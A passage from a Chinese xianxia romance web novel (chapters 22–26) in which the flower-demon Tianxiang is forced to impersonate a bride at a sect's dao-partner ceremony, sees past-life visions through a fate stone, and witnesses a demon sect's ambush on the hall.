她要离开宗门的事无几人知晓,门内却是早已传开她与游师兄关系非凡。她虽已避开众人,仍有不少人的目光打量过来,或探究,或感叹,或意味深长。
或许是见她独自一人背着包袱上山,低头不语,面色黯然,也不似去贺喜,好奇她要去殿上有何举动。
该不会是用情至深,去打搅游师兄与孙师姐的好事吧?
天香只是默默走着,一路上至殿外,见无数人上前赠礼相贺,太多人来来往往,远远望去,一切竟有些影影绰绰。
她不知不觉就走到了大殿前,见今日来宾云集,满是修士。抬眼寻了很久,终于看见他身影。
远处,他于众人簇拥间,身旁是笑意盈盈的孙昭,此刻正忙于应付他人,便闲闲的侧身站着。
一身锦绣华服,墨发若锻,戴着华美罕见的独玉冠,青丝一丝不苟束在玉冠中,露出白皙冷淡的一张面容,长眉舒展,神色却无甚波澜,微微扬着下巴,不知与旁人说些什么。
说什么也不要紧,大抵总是相贺道谢。
虽已入秋,今日的微风却柔软了几分,吹得他衣袂扬起。只是站在那,周遭其余都失了颜色,仿若入画。
明明作为他的同门,她也该祝贺其结得道侣,不知为何,她却不敢上前,更说不出口。细细想来,这般场景见面实在是尴尬,倒不如就此离去。
谁知他的目光忽然看向此处,天香心中无端瑟缩一下。
已被发现,无处遁形。她微微扯了扯嘴角,想露出一抹笑意,却呆愣在原地,只是张了张口,半天才想出几句寒暄话,“几日不见了。”
说完她又自己笑笑,微微垂下头去。
“天香,你不祝福我们吗?”孙昭感到气氛微妙,面上有些疑惑。
她沉默不语,他微微颔首。天香轻掩去眼中情绪,缓步上前,虽是几步路,却不知为何走的极慢。
至他面前,想来礼节不可丢,便跟着他人模样,学着勉强行了一礼,低头艰涩道:“恭喜师兄喜结道侣.....”
游奕陵没有避开,生受她这一拜。看到她手中包袱,有一种莫名恍惚,“你要离开天璇宗?”
天香低下头去,也不知说些什么,淡淡笑道:“嗯。”
她没有抬头看他,也看不见他表情。只觉得似乎他沉默了许久,能感觉到他视线一直盯在身上,上上下下似要将她看透彻。
仿佛他们是第一次见面一般,也不知有什么可看的。
他收回目光,眸色微沉,却并未说话。
几位弥恒派道友上前恭贺,二人相对无言,他已耽搁许久,今日却出奇的有耐心,仍是停留此处,也未离开。
天香受不了这沉寂的气氛,摸了摸脑袋,忽的出言道:“对了,还有一事。”
她自灰布包袱中翻找片刻,将那枚漆黑的驻颜丹交与他手上,扬起一个笑颜,干净而纯粹,“这是我炼的驻颜丹,虽仍是残品,但是我炼制最佳的一枚。”
游奕陵只是看着掌心,有些不敢看她清凌双眸。
她咬了咬下唇,心中涌起不甘。一想到终究殊途,早晚而已,又觉得不必纠缠,像一根线凭空断了。
似有千言万语,最终只是淡淡道:“你若是不喜欢,就丢了吧。”
空中似有鹤影浮略而过,修竹轻晃。明明人群攒动,来
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往无数,霎那间却寂静无声。
他们之间隔着一些距离,相对咫尺,离得岂止天涯。
天香心中有倦意浮现,该说的话也全部说了,她轻声道:“就此别过。”
游奕陵脸色微微一变,眸光微动。看她过于平静的神情,心里也说不出是什么滋味。
她藕粉色衣角被风吹起,因为近来睡眠不好的缘故,脸色有些憔悴苍白。
天香唇角勾起一个释怀的微笑,转身离去,不再留恋。
希望这次重逢,如同船过水无波,不会再留下什么痕迹。
她解下包袱,有些酸痛,换个肩头,慢慢下台阶。
他想追出去,理智又促使他又打消了这个念头。
很快他又淹没在众人中,道友拱手相贺,宾客面露喜色,独她的背影有些落寞。
恍然出神间,天香一步步顺着石阶下山去,他们已离的很远。
浓密的竹林山色间是压的人喘不过气的青色,她再走远一点,大概连山雾间唯一一点粉色裙摆也看不到了。
他仍站在原地,向那处遥望,一种类似遗憾的情绪在他心底蔓延,不知从何而来。
有一瞬间,他竟然怕再也见不到她。
山路崎岖,天香走得缓慢。
自山门沿石阶离开,最近的秘点也不远,往东边走两个时辰山路即可到达。
到了秘点,她就离开此处回到她该去的地方。
越往山下走人越少,便逐渐冷清,看不见鹤影,只见小路尽头隐匿进茂林修竹里。
天香边走着边恍然出神。
想起天璇宗这段日子,不觉间也经历了很多事,结识了许多人。
她微微一笑,若是忽略掉最终离别的结局,过程还是很美好的。
她借他的画卷一用成功引气,如此一来她也算是一名合格的修士了。
又想起那一次宗门妖丹失踪,她与他费一番周折,最终一同将妖丹寻回。
那颗妖丹已经被掌门拿回,妥善安置,现在应该完好保存在藏宝阁吧。
还有那日凭空出现的两界阵,令人疑惑,难道当日宗门内除去她和乌星,还有其他妖族作祟?
不过那天真是吓人,若是她不及时出手,恐怕难以从奕陵手中救下乌星,后果不堪设想。
说起来,不知道乌星回魔界后怎么样了,她歪了歪脑袋,暗自出神,想着想着,忽然觉得也没那么难过了,等她回去便找乌星。
她走了很远,直到两侧再也没有什么来人,参加道侣大典的都上山去了。
天香就要走到山底,离开天璇宗主山石阶,却不知遭遇了什么。
明明走在石阶上,两侧竹林光景突然扭曲,修竹竿子都歪了形。
天香揉揉双眼:“我看错了?”
直到脚下台阶都开始虚化,四周渐渐迷雾重重,看不真切。
一阵邪风吹过,她只觉头晕目眩,明明能听见不远处山顶有各式杂乱人声,却听不见来人的任何声息。
可见对方境界莫测,非她能招惹。
她眼皮沉重,晕了过去。
23. 第 23 章
天香醒来之时,摇了摇头,看周遭景色,见自己还在天璇宗。
熙攘吵闹之声就在不远处,远处可瞥见几名弥恒弟子,眼前苍翠兰竹一角红檐都无比熟悉,像在主峰殿后。
她怎么会突然被送回来了?不知此刻道侣大典有没有如时举办。
身上并无束缚,只是平白无故被人送回丢在此处。她心中暗道奇怪,却也不打算过多逗留,正起身准备离开。
一阵黑雾猛然聚散,余信忽的出现在她面前,天香吓了一跳,顿觉不妙,下意识稍稍退后。
“是你将我抓来的?”她面色一僵,瑟缩后退,先开口道。
余信只是冷哼一声,并不作答,“再帮我做一件事。”
她深吸一口气,不打算纠缠,知道对方的目的是找游奕陵,与她无关,况且她已经决定离开这里。
可是碧岚宫不是她惹得起的,她不想继续耗在这里,却也只能好声好气道:“碧岚宫主,不知有什么忙是我能帮的?”
不知为何,天香感到一股来者不善的气息。余信明明语气平平,却透着一股不容拒绝,沉声道:“稍后你就知道了。”
天香额间溢出几滴汗,觉得不对劲,余信不肯放她走。
对方境界高深莫测,她根本不是对手。以往,明明他目的只为游奕陵,自己在他眼里无足轻重,好歹不会对她出手,如今却......
不知他到底在盘算什么主意?
“宫主还是找其他人吧,我不过初涉引气境的小花妖,宫主手下高手无数,我远排不上号。”她强装镇定,一把推开他,不愿多说,脚步飞快,径自离去。
余信只是挥一挥袖子,天香顿时被掌风击倒在地,手上摩擦出血。
他冷冷看着她,右手魔息萦绕,一脸肃然,“如若不肯,我也不强求。只是你既然说自己没用,那就干脆做碧岚宫的花肥,不过片刻,我就叫你解脱。”
天香惊觉瞬间他眼中杀机浓烈,这是真的想杀她,天香指尖微颤,不敢再多说一个字。
她皱起眉头,早知如此当初真不该轻信于他搅这趟浑水,如今小命不保,只快把肠子悔青。
气氛凝重起来,她低垂下头,生死攸关,强迫自己冷静,心中飞快思量起来。
虽说她不敌余信,但今日举办道侣大典,这厮先前又与天璇宗各位结仇,此地修士众多,或许可以借助他们的帮助。
不知他要她做什么事,可决不能坐以待毙。
她一边缓声安抚道:“我只是个小小花妖,实在想不通,有什么事是碧岚宫主做不成的.....”
说着她手中暗自捏法决,只待发出声响,吸引别的修士过来。却被余信立刻发觉阻止,他脸色渐渐阴沉,一掌贴住她的背后。
余信看穿她的想法,冷声威胁道:“别想耍花招,你若想搬救兵,即刻我就送你去轮回司。”
他顿了顿,笑着又补充道:“若你还是不肯,那么乌星也.....”
这厮竟卑鄙到用乌星要挟她!天香眼中闪过一丝愤恨,面色微变,微微攥起拳头,却又别无他法,眼下情形,她竟只能照做。
她沉默了半晌,面色紧绷,终是艰难开口,“说吧。”
余信似是很满意,微微一笑,“我早说过,到时候你就知道了。你只需要,按流程办事。”
他一阵施法过后,天香眼前黑蒙片刻,身上衣衫幻化,似乎面容也改变了模样。
不待她反应过来,余信便施力将她推了出去。
天香眼中一片茫然,只见众目睽睽之下,她忽的被一阵法术推至了殿前,不少弟子看了过来,她不免一阵呆滞。
方才已经向众人道别,如今再度出现,不免奇怪,她尴尬的笑了笑,正准备解释。
一旁弟子却是一幅心中大石落下的脸色,忙上前道:“孙师姐!你人去哪里了,到处寻不着,道侣大典就要开始了。”
他喊了什么?天香不可置信的摸了摸脸庞,再见身上衣衫,确实有些眼熟,是方才孙昭的一身飘飘欲仙的素白长裙。
见她一幅暗自吃惊样子,周遭人反而露出诧异神色,不知怎么了。
天香这才想起余信口中所说,按流程办事,终于明白过来,竟是让她顶替孙昭参加道侣大典!
那弟子一直等着她回复,天香忙别开眼,不自然的笑笑,“啊,我马上便来。”
见她无碍,弟子放下心来,这才点头回道:“好,孙师姐别误了吉时就行,两位掌门人都在殿前等着了。”
天香轻回一声好,整理了一下衣衫褶皱,心中愈发紧张,不知余信这厮的化形术是否牢靠,若是走出去后,被几位掌教人或是境界高深弟子一眼看穿该如何是好。
只怕她会暴露妖修身份,当场毙命,把天璇宗的脸丢尽吧,不过如今她已从天璇宗辞别,倒也不算弟子。
但若是他发现了此事,想必会面色冷冷,对此事极为气愤,非要提剑第一个戳她窟窿,想着她心中便已惴惴不安。
“你在想什么?”游奕陵面色淡淡,声音低沉。
她楞了楞,没有到他来的这么快,想假装没听见,又避开不得,只得转头望去。
天香不敢看他,只盯着足尖,又觉得不免奇怪,只得微微抬起头来,干笑道:“没什么,这就来了。”
她忙走出去,他淡淡点头,站在一侧,眉目端丽清秀,一身华服,颇有君子之风。
天香勉强系了系衣衫纱带,静静站定。心中暗想,好在她与孙昭身形相仿,否则怕是更容易暴露。
殿外一片议论之声渐熄,今日天璇宗、弥恒派,修盟几位道友都在,除去天剑门有事不便到场,山门人流如潮,皆为参加道侣大典。
她方才站定,抬眼见众人各自作礼贺谢,并未发现她异常,这才放心些许。
“趁今日诸位道友在场,吉时已至,我修道之人也无甚繁琐礼节,此刻便行结道侣仪式吧。”云天真人喜笑颜开,捋过胡须,缓缓道。
嵩山道长点了点头,“说的对,我修境之人,不管俗家出生,首先需要师长认可,但此事本就由贫道与云天真人提出,故免去此环。”
道侣大典一般有三
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道流程,分别是获得宗门师长认可,通过姻缘石获得天道认可,最终再交换信物。
而他二人已经过了师长这关,便可直接试触姻缘石。
云天真人也对结道侣一事颇为满意,自掌中变化出一枚石头,落地陡然增大,“这是我十年前,在外游历,自蓬莱仙岛求得的九转姻缘石,通体呈羊脂白玉之色,中有红润细线穿过,乃是上乘仙宝,你二人便用它试天缘吧。”
天香垂眸而立,听到试天缘这几个字,心中急的要命。
方才只是说几句话也便罢了,如今要触摸姻缘石,这可是算命格的东西,她总归是冒牌货,若是被发现了怎么办。
游奕陵像是猜到她心中所想,淡淡扫她几眼,微微蹙眉,低头看她,“莫要走神。”
她呆愣在原地,低垂下头,只是盯着素白衣衫裙底绣上的金丝棠花,双手搅动着系带,面露不安,不愿上前。
殿下几人起哗然之声,不知她杵在原地所为何事。
“昭儿你怎么了?”嵩山道长发现她的异样,面露担忧,忽的开口。
游奕陵缓缓靠近,双眸中倒映出她的紧张神色。却又转身离开,朝二位掌教行了一礼,为她的异常举动开脱,“她从未算过命格,许是有些担忧。”
云天真人明白过来,闻言笑道:“不必忧虑,本座与嵩山道长早已算过你们命格,乃是天作之合,姻缘石不会有错的。”
“哈哈,昭儿,话已至此,你还不快触石试缘?”
天香心中一沉,更是冷汗涔涔,却只得对着嵩山道长微微颔首,勉强笑道:“是,师父。”
她一触上那块白润的石头,便像瞬间失神,魂魄被抽离,有奇妙的感觉涌上心来。
此刻不远处,天璇宗山门之外,余信集结了几名碧岚宫弟子。除此之外,赤地、千里二位长老也一齐来了。
余信遥望天璇宗山门,淡淡开口,“我已探查过,今日殿内,藏胎境以上修士仅二人,养神境修士仅五人,其余都是小辈,不足为惧。我的目的很简单,就是将天璇宗屠尽,拿走所有仙丹灵宝,明白吗?”
明面上,今日他只带了几名弟子,但还有一批高境魔修藏在暗处,等杀上主峰他们便会现身。
这个理由是最掩人耳目的,趁着赤地千里还没有发觉他的真正目的。实际上,他想杀了游奕陵。
这是其一,另一个目的便是借这场屠杀,干掉赤地和千里。届时他们杀上山门,那群人族修士必定奋力反抗,正是趁乱解决内患的好时机。
赤地长老摇头叹息,“山水清秀,宗门好光景,只可惜明日便看不到了,实在令人扼腕。”
“今日恰逢道侣大典,主峰殿上修士众多,恐怕我们也无法全身而退。”一名弟子低声道。
“那又如何,我等也非惧死之人。”另一魔修不以为然。
余信闻言哈哈大笑,“好,我碧岚宫幸得诸位鼎力相助,今日众人先随我杀上天璇宗主峰。”
几人互相点头,虽同为碧岚宫效力,却各怀鬼胎。打个照面,所有魔修便朝着山顶飞掠而去。
24. 第 24 章
触及九转姻缘石的瞬间,他看了天香一眼。
她微微一愣,只觉时间好像停滞在他眼中,跨过星河壮阔,穿越红尘滚滚,看着她,又像看另一个人。
这里明明是天璇宗,殿上正举办道侣大典,四周弟子无数,又好像空无一人。身体仿佛虚无,连他的模样也在眼前逐渐模糊不清。
天香只见重重迷雾将自己包围,烟云遮天蔽日。白雾散开之时,回过神来,猛然抬头,才发觉自己处在一座陌生的仙岛上。
她睁开眼,见自己身旁无人。正值夜半,仙岛之下流云滚滚,天上满月如银,星河霜斗分明,岛上灵息氤氲。
伸手可及淡粉的棠花,花瓣轻软,一碰便散在徐徐夜风中。
一树开的最盛的棠花,就于不远处独立,花瓣散在柔软的风中,密密麻麻的粉团簇簇,透过枝头,可见一轮满月,流泻若华。
海棠芬芳,月下随风飘散,那淡淡香气也很熟悉。树前立半块石碑,其上刻着古旧的几个字。
紫胜岛?好熟悉的名字......
天香不敢乱走,此地她从未来过,若是触碰了什么五行八卦阵,或是灵巧机关,想必也没人来救她。而且正是半夜时分,虽无阴森诡异之相,却也让人心生戒备。
她只是顺着如水月光走出几步,再回头时,光景似已变幻,竟生出恍然之感。
棠花深处,面前竟是一套玉石桌凳,其上有一盘未完的残留棋局,只是在那棋局上多看了几眼,便好似陷进去。
像看到两个虚幻人影正在对弈,但只有落子之声,却无半点交流。那棋盘随着棋子变化下,世间山脉移动,鸿海枯萎充盈。似乎蕴含了无穷之力,参悟不透。
有时一颗棋子落下,甚至还有骤雨突来,惊雷闪过。只是微微闭眼,再度睁开,便没了这些景象,仿若方才只是幻象。
明明只是片刻,时间又好像已过去许久。
“哼,他二人棋下的也太臭了些。过于稳妥,反倒畏手畏脚,不如放着我来。”
是谁在说话?
她只觉声音在耳畔,回望却怎么也寻不着人,她好像听见自己怔怔的回复,又好像是别人在说话。
奇怪的是,她竟然觉得说话声音从棋盘中来。那颗棋子也颇为眼熟,像是……她想起来了,雀南阁献宝宴上,转轮王手中拿着的那颗。
“好啊,何时我们对弈一场,如何?可惜,我就要离开紫胜岛了,只能等以后。”
对面忽然不说话,取而代之是良久的沉默。
“阿泽,你要去哪里?日后是否......再也不能见你了。”
被称作阿泽的女声似乎沉了下去,“我要去镇守魔珠,天道说了,此物太过强大,无论被任何人得去,都会影响各族和平。”
但只过了眨眼功夫,她又开朗笑起,“待我完成天道的任务就回来,等我几百年可好?”
对方也笑了一笑,“好,那我们可还算知己?”
那女声爽朗一笑,“自然算的,算是天底下最好的知己。”
“都说知己相约,必亲身以践。这既然是我们最后一次见面,不如此刻就着天地棋局陪我下一场吧。”
女声却忽的不知作何答复,几番思量,只得低声道。
“抱歉,天地棋局万不可挪动,我......”
天香一边听着对话,一边在棋桌四周逡巡,却再无法走出这附近,料定又是一个迷踪卦阵,可她并无破解之法,只得继续呆在原地。
那些对话都像是近在耳畔,又像相隔很远,隐隐约约,十分不真切。
夜风下棠花轻轻摇摆,暗香袭人。似是过去了许久,沉默无言,感受到那人的失落神色,才听见男声继续道。
“既然如此,我也不为难阿泽。便等百年之后相见,再用其他棋盘痛快下一场吧。”
女声似有无限歉意,又不知该如何安慰,过了一会,才柔声道。
“有了,这枝棠花送给你,我不在的时候,就用它怀念我,待我完成天道的任务,就回来。”
男声笑了一下,“好,我会一直等着你。”
她闭上双眼,深感遗憾。心中回忆这段对话,却发现没有任何记忆。可为何,她心中总是波澜不断。
再睁眼时,她忽的发现迷踪卦阵自行消散,可她也被迷雾淹没。四周光景飞速变化,再也不是什么仙岛花阁,像是变成了一片莽荒之地,偶有妖魅魍魉,或是鬼火流灯经过,令人惶惶。
一片漆黑中,隐约有一道流光溢彩的金色微光。
无数精怪妖魔都企图靠近这道金光,又碍于阻拦只得远远看着。
她微微一愣,向前几步,迷雾深处是一颗微弱光亮的圆珠,珠子发着冷彻的光芒,悄然无声,却照开一团迷雾,安静悬浮在半空中。
天香好奇的缓步上前,这毕竟是漫无边际的黑雾里,唯一的光。
难道这就是方才那两人口中所说的,那颗魔珠?
可她就要触及那枚珠子的时候,四周光景又变了,她像是沉眠了很久很久,早就忘记了紫胜岛,忘记了夜风中的一枝棠花,忘记了未完的棋局。
她也从头脱胎换骨,成为了另一个人。
又不知今夕几何,某年某月。
隐约可觉春风吹过脸颊,碧花簇簇如梦似幻,同弟子服上绣的一样。有的散在风里,有的吹落在粼粼湖面上。
天香微微一怔,碧花只有魔界有,面前几人服饰上都带着碧花,看四周光景竟有几分熟悉,却无论如何想不起是哪里。
“你这仙族余孽,别人跟你说话,发什么呆?偷来碧岚宫真不知有何居心!”
“算了,听闻她是一朵仙界金莲化形,碰巧因君上精血化形,神志初开,不免痴傻。反正也没有法力,你二人且紧盯着她。”
碧岚宫?对,她差点忘了,碧岚宫弟子服饰就是这般。
眼前两名弟子似乎对她颇有敌意,她好像做了很久的梦,刚初化人形,就看见一人,生的很是漂亮,却冷冰冰的,她不敢靠
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近。
但心中实在喜欢的紧,便偷偷跟来此处,可是他在哪?
天香只觉头很痛,被灌入了不属于自己的记忆,隔着飞散碧花,看见远处而来的那人。
他前后有弟子簇拥,位高权重,华服美冠,名剑负手,腰间佩着的好像是昆仑雪。就是那张冷冷清清的脸,眼中带着丝不耐烦,和记忆中重合。
昆仑雪不是魔君所持佩剑吗?难道他就是失踪几百年的前任魔君。
她面前几名弟子即刻下跪行礼,不敢迟疑,独她呆愣的站在原地。不知何人踹她膝窝一脚,冷哼一声,她吃痛踉跄被迫跪下,倒吸一口凉气。
那几人恭敬道:“见过君上,此仙族余孽......如何处置?”
碧花美艳,春风柔软。却因为他的到来空中平添肃杀之气,让人不禁畏惧。
但他靠近了些,才发觉身姿高大挺拔,虽没什么表情,神色却很无趣,可见他眼中是藏不住的厌恶。
那几名弟子就要动手。
她抬起头,心中忐忑无比,眼中茫然而单纯,提着一口气,轻声道:“我什么也没干......”
他微微低着头,光洁面容没有一丝瑕疵,瞥她一眼,长眉皱起,声音就像他的人一样没什么温度,“未察觉的漏网之鱼,杀了。”
他只是看她一眼,她就觉得心中有些慌乱,不知是怕死还是其他。
她又吸了一口气,低垂着头,小心翼翼道:“我只是想跟着你......”
其实她也不知道自己在说什么胡话,可能无法挽回,难逃一死,当初从仙界偷偷跟来此地,她就觉得自己得失心疯了。
但还是想跟来,哪怕搭上性命,反正自己的命本就是他给的。
这么想着,便也做了……
他只是淡淡看她,眼中带着探究,眉间仍是皱着,却不说话。
她就这么无措的跪着,不知能否逃过一劫,却也无其他想法,只是有些说不清的委屈。
明明她什么也不知道,只是想和他待在一起……
“我,我......”她支支吾吾,手心攥紧。
他又打量她几眼,微微挑眉,觉得奇怪又莫名,“你不知魔族与仙族有仇?”
她眼中闪过一丝懵懂,只是傻傻的抬头看他,“我不知道,我灵智初生,是没有记忆的......”
他沉吟半晌,静静看着她的模样,像是打量着她话语真假,无奈看不出任何破绽。许久过后,不知是不是她的错觉,竟见他眼中闪过一丝无奈,微微一笑。
“我还是第一次见你这样的仙族。”
她望着他微微弯起的眉眼,只觉艳丽过整片碧花之海,叫人溺毙其中,不能自拔。
她好像忘了他方才还要杀她,只是傻傻望着他眼睛,不知是不是春风太过柔软,那双眼也显得有一丝温柔。
可惜其他弟子都低垂着头,无人看到这一幕景象,她怔怔望着,脑中只剩下当天远处的飞散碧花和那双带笑的眉眼。
25. 第 25 章
她好像深陷其中,从未走出牢笼。
那双眼和现实中游奕陵的眉目重合,顷刻间,花散梦醒,天香神识从九转姻缘石带来的幻象中离开,睁开双眼。
他正看着她,长眸微垂,看不出眸中情绪,淡淡道:“该下一个环节了。”
仍是天璇宗主峰大殿上,云天真人面上露出满意的神色,眼中闪过一丝讶然,“本以为随心之举,没曾想这九转姻缘石测出你二人竟是前世姻缘,除了天道庇佑外更有月老庇佑,二人修行是益处加倍。”
嵩山道长也颇为惊喜,连连点头,“如此看来,你们结为道侣乃是天道的授意。”
本以为是无心之举,不过二人天资道缘也是处处般配,没曾想连前世都有纠葛在前,一时间在场修士都纷纷送上祝福。
云天真人微微一笑,“我们修行之人自当抛弃凡俗礼节,既然姻缘石都认可了你们,最后便只剩下互换信物了。”
天香手心全是汗,细不可见的微微一僵,却不敢暴露异常,只是轻低着头。她哪有什么信物啊,浑身上下别说法宝了,连件值钱的东西也无。
游奕陵低头看她片刻,见她呆愣的样子,有些无奈,拿出一只白色玉笛,上有暗紫流云纹路,散发莹莹流光。
灵息萦绕,鹤是智长之物,于是天上的白鹤纷纷靠近过来,有的干脆落在周围,还有一些不知品种的鸟儿也跟着聚集了过来,更有一只小小雏鸟落在天香肩头。
他将玉笛递过来,嘴角竟带了微微笑意,“这是流云紫纹笛,可储存千年法力,对修行大有裨益。”
天香微微眩晕,她伸出手,又微微瑟缩回来。她不喜欢这样,这笑容就和之前无数次相救危急时刻一样,就好像,他在乎她......
可既然他无意,她又为什么还要执着于此呢?
他甚至不知道,眼前的人不是孙昭,而是她这个冒牌货。
那双眼和微微勾起的唇那样温柔,就和姻缘石幻境中看见的如出一辙。可惜这一切都是假的,其实她还是什么都没有,不过是自己骗自己。
她缓缓闭上眼,不敢张开,怕一睁眼就无法克制,不知道余信为什么逼她做这件事,也不知孙昭现在下落如何。
张了张嘴,又不敢多言,只怕反倒暴露自己身份,一来二去,她内心只剩煎熬。
“怎么了?”他的声音就在她耳际。
那只玉笛飞过来,停在她身前。她肩头的雏鸟忽的飞起,盘旋几阵后也随着白鹤跌跌撞撞飞回天际。
她不想收下这只笛子,这本来也不是她的东西,如果所谓的感情可以代替,如果以前他们经历的什么也算不上,那为什么还要让她收下这件东西。
天香眼中充斥黯然,边将那只笛子握在手中,边想这件事被他知道后,恐怕他会很生气。明明是精巧罕见的法宝,她却提不起兴趣。
不知余信究竟打的什么注意,只怕不是什么好事,再看殿上无数双眼睛看着她,雕梁画栋,来客无数。她却有些淡淡心慌,只觉得有阴谋即现。
嵩山道长呵呵一乐,出言打断了她的出神,“昭儿,快将你的挚宝信物拿出交与奕陵吧。”
天香这才从思绪中回神,不由得紧张几分,对,现在该她交换信物了,但她浑身上下只有那一件姑且还算宝物的东西……
云天真人见她呆愣在原地,眉目间透出一股疑惑,缓声道:“可是不喜欢这流云紫纹笛?”
“没有,我十分欢喜。”天香咬了咬下唇,无奈,拿出了玲珑盒。
众人皆是滞住,虽说这也不是一件凡物,但结道侣互换信物大多还是给法器灵物,方便助力修行,用玲珑盒这种低阶弟子常用宝物交换的还是头一次见。
此刻,嵩山道长也哑然,好在云天真人打圆场,不在意的笑道:“这玲珑盒乃是绝佳的炼丹素材,也并非无用之物,奕陵,还不快收下。”
“是,师父。”游奕陵面色淡淡,眼眸低垂,不知在想些什么,他正要接过。
下一秒,天香就听见脑海中一道熟悉冷冷的声音。
——是谁逼你这么做的?
天香正硬着头皮继续不知改如何进行,这一道密音险些让她吓的变脸色,她被发现了。
——我方才用神识探知,发现孙昭安然无恙就在这附近,到底发生了什么?
难道是因为姻缘石?他是何时发现的,她发觉自己被看穿,只得微微低下头。只是来不及考虑这些,既然已经暴露,天香忙贴近他,一边低声道:“是余信。”
他策划了这一切,但如今道侣大典已近尾声,就快结束,余信还是未曾露面,不知他谋划着何事。
正当游奕陵接过的时候,玲珑盒忽然开启,盒中哪有什么灵息,只有一团黑雾,从中射出一道暗红色光刃,直袭他眉心。
魔界,观澜阁。
远远的只听见落子声,衍诀一身淡色长衣,一手微微托腮坐在棋盘前,正自己与自己对弈,虽是坐着,却也看出姿态风雅,面色沉静,眉目间带笑意。
今日,他似是心情不错。
“你到底什么时候才能复活我?”一道暴躁的声音质问。
“你先将仙族术法传授于我。”他头也不抬,专心下棋,缓缓道。
“哼,你真不愧是一代枭雄,青衣为你死了,你便踏着她的尸体走过去,如今为了提升实力,甚至学习仙族术法。”那声音毫不掩饰的嘲讽。
“摩妙天极,是你太狭隘。只要能达成目的,手段有什么要紧?”他笑了笑,眉间舒展,低声道。
自他百余年前,在清虚天被无奕重伤身陨之后,便一直将神志寄托在此,等待衍诀把他复活。
“看来,你想要的不只有一个碧岚宫啊。”摩妙天极冷声道。
衍绝笑而不答,又听落子声,棋局正至半途,如画卷徐徐铺开,精彩纷呈。
摩妙天极实在无聊,看了一眼棋局,不屑道:“只可惜,没有想要将天下收入囊中哪有那么容易,万一无奕并没有死,只怕他回来后,你又要功亏一篑。”
衍诀忽的皱眉,面色一沉,指尖发力捏住棋子颤抖,又微微勾起唇角,眼中闪过一丝冷光,“就算他活着,也来不及。”
说着他冷哼一声,起身挥手间,棋盘消失不见,他白衣飘飘,身姿
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飘渺,轮廓风流俊美,气质华贵,相貌却是周正讨好,长眸若水,施法一道水镜凭空出现在面前。
平等王正在攻打碧岚宫,经过上次的内部渗透,碧岚宫负隅顽抗数日,气数已尽,今日便可攻破。
“今日过后,碧岚宫就是我的,至于他,不过是个被我利用的棋子。”衍诀眸色冰冷,看向平等王,声音像一杯浓醇的酒,沉重而醇厚。
摩妙天极一阵骇然,皱眉道:“速度真快。”
下一刻,水镜中有弟子通报平等王,“吾王,碧岚宫中四处都找不到余信,昆仑雪也不在。”
衍诀微微一怔,似是出乎意料,而后深深皱眉,余信怎么会不在宫中?还有那把剑,怎么回事?
那弟子继续道:“不光如此,赤地、千里二位长老也不在宫中。”
糟了,所有境界高深的主力魔修都不在,碧岚宫竟只是个空壳子,他们去哪了?他脸上露出不可置信的神色,长眸微沉。
此刻,天璇宗上,突生变故,玲珑盒中射出一道红光,游奕陵险些躲不过去。
好在云天真人一挥袖打掉那道暗红光刃,大喊道:“盒子有问题!”
下一刻,余信带人出现在殿内。
来者不善,又是上次逃脱的那名魔修,真人一脸肃然。他从一开始就知道,自己绝不是此魔修的对手,他虽修行百年,但比起真正的高手,还有很远的距离。
和此人缠斗,他恐怕撑不住太久。好在今日道侣大典,殿内修士众多,但对方也带了不少高手。
余信大笑,“不光玲珑盒有问题,她也有问题。”
他一掌带风拍出,天香瞬间褪去伪装,众人大惊。大殿之上,一名身穿湖蓝色纱衣的妙龄少女忽的出现,头顶簪一朵重瓣金花茶,面若芙蓉,清丽非常。
这清秀面容,分明是已经离开宗门的天香,哪里还有孙昭的身影?变故来的突然,殿内众修士皆大惊。
花丛里蜻蜓的翅膀动了动,一只白鹤蓦的飞远而去,打破一阵沉闷诡异的寂静。
碧岚宫弟子没有犹豫,手刀拍出,伴随寒光一闪,大殿的牌匾顷刻跌落。象征宗门颜面的牌头在众人的惊愕目光中,不堪重负碎成两半。
顿时烟灰四起,溅起一地尘土。
众人还不知发生了何事,听异响看向门口,只见碧岚宫的人缓缓走了进来。
余信冷笑,踩上残匾,“听闻今日贵宗举办道侣大典,喜事一桩,春风得意。只可惜,我与贵宗有仇,偏看不得你们好,今日率宫众路过此处,不免心生厌恶,只好把牌匾砸了,出口恶气。”
此番言语挑衅十足,嵩山道长面带怒意,“你分明是借玲珑盒杀害奕陵不得,便决定来硬的,但今日,在场修士无数,你可想清楚了。”
赤地、千里二长老也走入殿内,一女魔修柳腰纤细,轻声嘲笑道:“犄角小派百年基业,半壶晃荡。丹修符道,对敌乏力,我看,你们无人能接我百招。”
“要么交出他。”他看向游奕陵,又看向众人。头一次见他展露这种凌冽桀骜、使人畏惧的气势,“若不然,我余信今日,就血洗天璇宗!”
26. 第 26 章
一名魔修面色笼罩阴云,蠢蠢欲动,嗤笑道:“何必和他们废话,直接上。”
他自指尖凝出道道魔息,汇聚掌心成雾,反手朝着云天真人推出。
但黑雾还未近掌教人的身,就被挡在三尺外,魔息浓烈,在空中聚散幻化成各类实体,如可怖梦魇,直冲面门而来,却被更猛烈的白光冲击而散,不能再近一分。
云天真人推出一道掌风怒斥,“这里是天璇宗,你们未免也太过猖狂!”
说着,那名魔修被罡风推的后退两、三步,勉强停住,却低声邪笑着。
几名魔修早有准备,赤地、千里二位长老带头,已经从两侧围上前,几步闪身间,将数名修士击飞出去,一同攻向云天真人。
天香手持流云紫纹笛,战力上一层楼,面对这等从未见过的高手,却也境界低微对敌乏力,只能尽力躲开波荡灵息,逐渐后退。
游奕陵面无表情,冷冷看着余信,“孙昭在哪?”
道侣大典前夕,孙昭忽然失踪,想必和此人脱不开关系。
余信眼角微微上挑,掌心推出几道杀招,轻蔑笑道:“我对她没兴趣,放心,她睡的好好的。”
“你达不成目的,就想灭了天璇宗!”天香只觉血气直冲天灵盖,她虽是妖修,也不愿见这等丧心病狂事情发生。
“一个刚引气的废物也配和我说话?”余信露出轻蔑笑容。
游奕陵轻点眉心,想唤出几柄光剑参与战局,忽觉身体异样,全身灵息运行受阻,周天转运仿若拖泥带水,使不出半点招式。
怎么回事?
他愣住,回想方才经历,忽的想起玲珑盒,长眸暗沉,脸色难看几分。
原来,那道暗红光刃虽被云天真人打掉,但盒身上却下了制灵咒!
如今他运转不出任何术法,竟只能看着一众弟子缠斗,坐以待毙。
游奕陵几次欲施展法术,只见三竖纹理已刻在他右手背,无论如何也去不掉。几番灵息冲撞无济于事,他反倒受了内伤。
余信看看他,笑道:“莫要挣扎了,大家一起上,把这些人族修士通通杀了。”
